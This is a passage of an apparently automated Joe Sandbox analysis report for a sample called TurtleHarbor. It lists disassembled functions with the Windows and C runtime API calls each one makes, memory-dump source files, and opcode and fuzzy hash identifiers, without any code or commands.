                                            Function 003792C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 003792D6
                                              • Part of subcall function 00332F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00339C54,00000000,00338D5D,003359C3,?), ref: 00332F99
                                              • Part of subcall function 00332F85: GetLastError.KERNEL32(00000000,?,00339C54,00000000,00338D5D,003359C3,?), ref: 00332FAB
                                            • _free.LIBCMT ref: 003792E7
                                            • _free.LIBCMT ref: 003792F9
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
                                            • Instruction ID: 5c017c6da6fcd741bb7bb895115192c8d07479e66b7a66fab060b9a10339f34a
                                            • Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
                                            • Instruction Fuzzy Hash: 97E012B160560257CA35B5786985FA377EC4F88752B160A1EF80DDB143CE28E8518168
                                            Function 00377221 Relevance: 4.5, APIs: 3, Instructions: 21COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcess.KERNEL32(?,00000000,?,00000002,?,?,00376F4D,00000000), ref: 00377237
                                            • GetCurrentProcess.KERNEL32(?,00000000,?,00376F4D,00000000), ref: 0037723F
                                            • DuplicateHandle.KERNELBASE(00000000,?,00376F4D,00000000), ref: 00377246
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CurrentProcess$DuplicateHandle
                                            • String ID:
                                            • API String ID: 1294930198-0
                                            • Opcode ID: 61172f1b5e18927609c9a55bfb56de603a2cb76f5ada3a5518ffb6c7e74bafb4
                                            • Instruction ID: 44629eecad367944c8b2d3e26756774fe563b8109edb31b7e1778d1e6827f5f0
                                            • Opcode Fuzzy Hash: 61172f1b5e18927609c9a55bfb56de603a2cb76f5ada3a5518ffb6c7e74bafb4
                                            • Instruction Fuzzy Hash: 8DD05E7A144305BFC7171BE5EC0DF7B7B3CDBD6B22F218819F60985161AB78A8009664
                                            Function 00377079 Relevance: 4.5, APIs: 3, Instructions: 17COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003777EB: InterlockedExchange.KERNEL32(?,?), ref: 003777FE
                                              • Part of subcall function 003777EB: EnterCriticalSection.KERNEL32(?,?,0031C2B6,?,?), ref: 0037780F
                                              • Part of subcall function 003777EB: TerminateThread.KERNEL32(00000000,000001F6,?,0031C2B6,?,?), ref: 0037781C
                                              • Part of subcall function 003777EB: WaitForSingleObject.KERNEL32(00000000,000003E8,?,0031C2B6,?,?), ref: 00377829
                                              • Part of subcall function 003777EB: InterlockedExchange.KERNEL32(?,000001F6), ref: 0037783C
                                              • Part of subcall function 003777EB: LeaveCriticalSection.KERNEL32(?,?,0031C2B6,?,?), ref: 00377843
                                            • FindCloseChangeNotification.KERNELBASE(?,?,003770DF), ref: 0037708A
                                            • CloseHandle.KERNEL32(?,?,003770DF), ref: 00377093
                                            • DeleteCriticalSection.KERNEL32(?,?,003770DF), ref: 003770A6
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CriticalSection$CloseExchangeInterlocked$ChangeDeleteEnterFindHandleLeaveNotificationObjectSingleTerminateThreadWait
                                            • String ID:
                                            • API String ID: 744473657-0
                                            • Opcode ID: d535ad0d3af8e4fcb6959bb97ece79a5921ec03840d62e8ffe5562f530fb9489
                                            • Instruction ID: d119621c6bcdc07f4183caa9fcadec034aa1fc34ee80152561eabf8e2d6ca22b
                                            • Opcode Fuzzy Hash: d535ad0d3af8e4fcb6959bb97ece79a5921ec03840d62e8ffe5562f530fb9489
                                            • Instruction Fuzzy Hash: F6E0E27B004642AFCB4B2FA4FC08889BB79BF49711B240122F10986970CBB1A4A4CB50
                                            Function 00315E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: CALL
                                            • API String ID: 0-4196123274
                                            • Opcode ID: 27233ef876cd9961e3daeb69c5caf7d5d297599bd3436831ac3b262551c54a3d
                                            • Instruction ID: 68a25999898f53aca790660bfa8768b9373b36cefbba8580d91db77cdb9fb888
                                            • Opcode Fuzzy Hash: 27233ef876cd9961e3daeb69c5caf7d5d297599bd3436831ac3b262551c54a3d
                                            • Instruction Fuzzy Hash: 9E326A74508341DFC72ADF54C491AAAB7E5BF89300F15896DF88A9B362D731EC85CB82
                                            Function 0038E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON
                                            Download Yara Rule
                                            APIs
                                            • _strcat.LIBCMT ref: 0038E20C
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • _wcscpy.LIBCMT ref: 0038E29B
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __itow__swprintf_strcat_wcscpy
                                            • String ID:
                                            • API String ID: 1012013722-0
                                            • Opcode ID: bf14f6d3acb2b83cd404dee5eacdb030a8267f33be7f1e9d765eae6b15d2859b
                                            • Instruction ID: e03ccae742dde2c4d747173abcee260f88ab7bd336dba734738dc9eea22c8b16
                                            • Opcode Fuzzy Hash: bf14f6d3acb2b83cd404dee5eacdb030a8267f33be7f1e9d765eae6b15d2859b
                                            • Instruction Fuzzy Hash: B9913A35A00604DFCB1AEF18C5819ADB7E5FF99314B558099F81A8F7A2DB30EE41CB80
                                            Function 00330E38 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • FindCloseChangeNotification.KERNELBASE ref: 00330ED5
                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 00330EE7
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ChangeCloseCreateFindNotificationSnapshotToolhelp32
                                            • String ID:
                                            • API String ID: 4162189087-0
                                            • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                            • Instruction ID: 850454d095613e891c9f59ac316de6c04b72a1242d94cdd1e094d78b0f20a0df
                                            • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                            • Instruction Fuzzy Hash: A631D170B005099BC71ADF58C4E0969F7A6FF49340F658AA5E40ACB661EB31EDC1CB80
                                            Function 00325F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                            Download Yara Rule
                                            APIs
                                            • IsThemeActive.UXTHEME ref: 00325FEF
                                              • Part of subcall function 0033359C: __lock.LIBCMT ref: 003335A2
                                              • Part of subcall function 0033359C: DecodePointer.KERNEL32(00000001,?,00326004,00368892), ref: 003335AE
                                              • Part of subcall function 0033359C: EncodePointer.KERNEL32(?,?,00326004,00368892), ref: 003335B9
                                              • Part of subcall function 00325F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00325F18
                                              • Part of subcall function 00325F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00325F2D
                                              • Part of subcall function 00325240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0032526C
                                              • Part of subcall function 00325240: IsDebuggerPresent.KERNEL32 ref: 0032527E
                                              • Part of subcall function 00325240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 003252E6
                                              • Part of subcall function 00325240: SetCurrentDirectoryW.KERNEL32(?), ref: 00325366
                                            • SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 0032602F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
                                            • String ID:
                                            • API String ID: 1438897964-0
                                            • Opcode ID: f9147714d5f8fe85936211ff830f29e270ed99cb486f49b5da38253dd5ddaf52
                                            • Instruction ID: e5ad67fc006a1893451ef436327714f5a528fbef94b8a7235cb4a5874d6898a0
                                            • Opcode Fuzzy Hash: f9147714d5f8fe85936211ff830f29e270ed99cb486f49b5da38253dd5ddaf52
                                            • Instruction Fuzzy Hash: 8F118E718093519BC712DF69FD4595ABBFCEF99310F00891FF044872A1EB709644CB91
                                            Function 0033581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __lock_file_memset
                                            • String ID:
                                            • API String ID: 26237723-0
                                            • Opcode ID: ef4df838bbb85c3db64013916dc6406f00dcd7c211853f991baa62638f617bc6
                                            • Instruction ID: 7457a5a9859d82c7efb96d3c007dedf8a76fbc63aaa3e0edc024ebb3d8881320
                                            • Opcode Fuzzy Hash: ef4df838bbb85c3db64013916dc6406f00dcd7c211853f991baa62638f617bc6
                                            • Instruction Fuzzy Hash: 09018F71D01709EBCF13AF6A8C8299E7B61AF80360F198115F9285E1A1DB718A21DF91
                                            Function 003355C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00338D58: __getptd_noexit.LIBCMT ref: 00338D58
                                            • __lock_file.LIBCMT ref: 0033560B
                                              • Part of subcall function 00336E3E: __lock.LIBCMT ref: 00336E61
                                            • __fclose_nolock.LIBCMT ref: 00335616
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                            • String ID:
                                            • API String ID: 2800547568-0
                                            • Opcode ID: a3c7f0f35367f72e7babcd2b2cadecc08e73a24bbcad4121a248ee0124a9c370
                                            • Instruction ID: 5ed063f234666fa905ea6be62500331a3cb897c3c52a1f20b54d178623d271c7
                                            • Opcode Fuzzy Hash: a3c7f0f35367f72e7babcd2b2cadecc08e73a24bbcad4121a248ee0124a9c370
                                            • Instruction Fuzzy Hash: 66F0B471802B05DAE7136F758882B6EB7A16F41330F218209F429EF1D1CBBC59019F51
                                            Function 00335E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                            Download Yara Rule
                                            APIs
                                            • __lock_file.LIBCMT ref: 00335EB4
                                            • __ftell_nolock.LIBCMT ref: 00335EBF
                                              • Part of subcall function 00338D58: __getptd_noexit.LIBCMT ref: 00338D58
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __ftell_nolock__getptd_noexit__lock_file
                                            • String ID:
                                            • API String ID: 2999321469-0
                                            • Opcode ID: 5c2f630dd6ae52af7a8e264ca9678ec42d3701d2a3cc2e271f1f0d31477051ce
                                            • Instruction ID: 72a70053fc1b25fe444775ca622d0346b73ce6ad2a32f079838df2ca91a747cd
                                            • Opcode Fuzzy Hash: 5c2f630dd6ae52af7a8e264ca9678ec42d3701d2a3cc2e271f1f0d31477051ce
                                            • Instruction Fuzzy Hash: 9EF0A032911719AADB03BB74898379EB2A06F41331F214206F024EF1D2CFB88E029B51
                                            Function 00376FDA Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                            Download Yara Rule
                                            APIs
                                            • InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000FA0), ref: 00376FFF
                                            • InterlockedExchange.KERNEL32(?,00000000), ref: 00377021
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CountCriticalExchangeInitializeInterlockedSectionSpin
                                            • String ID:
                                            • API String ID: 4104817828-0
                                            • Opcode ID: 6b328e1e443db20172e39e1aef3f3ad145db10a776d30958b75fa2bc6d643fa3
                                            • Instruction ID: 31dea5b53f35f4f34d7e23333625d88a8b38704dd72859f03154e90e03486342
                                            • Opcode Fuzzy Hash: 6b328e1e443db20172e39e1aef3f3ad145db10a776d30958b75fa2bc6d643fa3
                                            • Instruction Fuzzy Hash: 1FF034B11007059FC3219F56D9489A7FBECEF85710B00882EE58A87A10C7B4A401CB61
                                            Function 00325AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 00325AEF
                                            • Shell_NotifyIconW.SHELL32(00000002,?), ref: 00325B1F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: IconNotifyShell__memset
                                            • String ID:
                                            • API String ID: 928536360-0
                                            • Opcode ID: a05dc959a2aff6f781f34be55419ad1a9411be577bd22290d02cf29cb83c95b1
                                            • Instruction ID: ba8460726008828abc02ac7cb7c0ad62edcd6068766b441f8feaa97707c09639
                                            • Opcode Fuzzy Hash: a05dc959a2aff6f781f34be55419ad1a9411be577bd22290d02cf29cb83c95b1
                                            • Instruction Fuzzy Hash: 52F0A7708093589FD7938B24EC4579577BCA701308F0001EAAA4896292E7750B88CF91
                                            Function 003332CF Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • ___crtCorExitProcess.LIBCMT ref: 003332D5
                                              • Part of subcall function 0033329B: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,003332DA,00331003,?,00339EEE,000000FF,0000001E,003CCE28,00000008,00339E52,00331003,00331003), ref: 003332AA
                                              • Part of subcall function 0033329B: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 003332BC
                                            • ExitProcess.KERNEL32 ref: 003332DE
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ExitProcess$AddressHandleModuleProc___crt
                                            • String ID:
                                            • API String ID: 2427264223-0
                                            • Opcode ID: a6ee57bfb5cd7b9112fe2aa8d4b72317fa4d5040cc5bff891fbae9d0c0d83ffc
                                            • Instruction ID: 8b8870339636709a4e447faf015de7863d0a253e99cbaea4e522bf82a7527aa6
                                            • Opcode Fuzzy Hash: a6ee57bfb5cd7b9112fe2aa8d4b72317fa4d5040cc5bff891fbae9d0c0d83ffc
                                            • Instruction Fuzzy Hash: 14B09230000208BBCF462F11DC0A84E3F29FB01B90F008020F80448071DBB2AAA29A80
                                            Function 0038C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LoadString$__swprintf
                                            • String ID:
                                            • API String ID: 207118244-0
                                            • Opcode ID: 46b528752acedf23ea3c6df22f08cbbb8dd19831ac6084bc8a1ccd6c2e015437
                                            • Instruction ID: 3d5ad4e1e9a7dfdd1359f6d1a66ce873a1d803d06da798f6b6f5464b7bc4fc68
                                            • Opcode Fuzzy Hash: 46b528752acedf23ea3c6df22f08cbbb8dd19831ac6084bc8a1ccd6c2e015437
                                            • Instruction Fuzzy Hash: 01B17F34A00209DFCF16EFA4D891DEEB7B5FF48710F14915AF915AB291EB70A942CB60
                                            Function 0031A820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 004949215bac14d3df8e74363db60aae652813413605ee7baabf0253e89e02f6
                                            • Instruction ID: 198358221c5a21b5d168ad036137bee41a942f0ad35c8a5b049b9fce667b3125
                                            • Opcode Fuzzy Hash: 004949215bac14d3df8e74363db60aae652813413605ee7baabf0253e89e02f6
                                            • Instruction Fuzzy Hash: B161BD70601A0A9FCB1ADF50C881EBAB7F9EF49311F128069E8168B691D774EDC4CB51
                                            Function 0032343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memmove
                                            • String ID:
                                            • API String ID: 4104443479-0
                                            • Opcode ID: d0610ac13a79df7fd6fcea0f9a88704d7ba0b831ea08fdd2daeb19c394a1f8b3
                                            • Instruction ID: b005e7194b32e8b97ee9cb0b8840cec5f450ccf20230a57842aec3374ec55e1f
                                            • Opcode Fuzzy Hash: d0610ac13a79df7fd6fcea0f9a88704d7ba0b831ea08fdd2daeb19c394a1f8b3
                                            • Instruction Fuzzy Hash: D231E675204622DFC72AEF19E490A21F7E4FF09310B15C5AEE88A8B751DB34DC81CB80
                                            Function 0034E2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClearVariant
                                            • String ID:
                                            • API String ID: 1473721057-0
                                            • Opcode ID: 5d71d2f9cd774a245e791b5d69453ce42504f3ab7b92c8dd455d029b128cdfbc
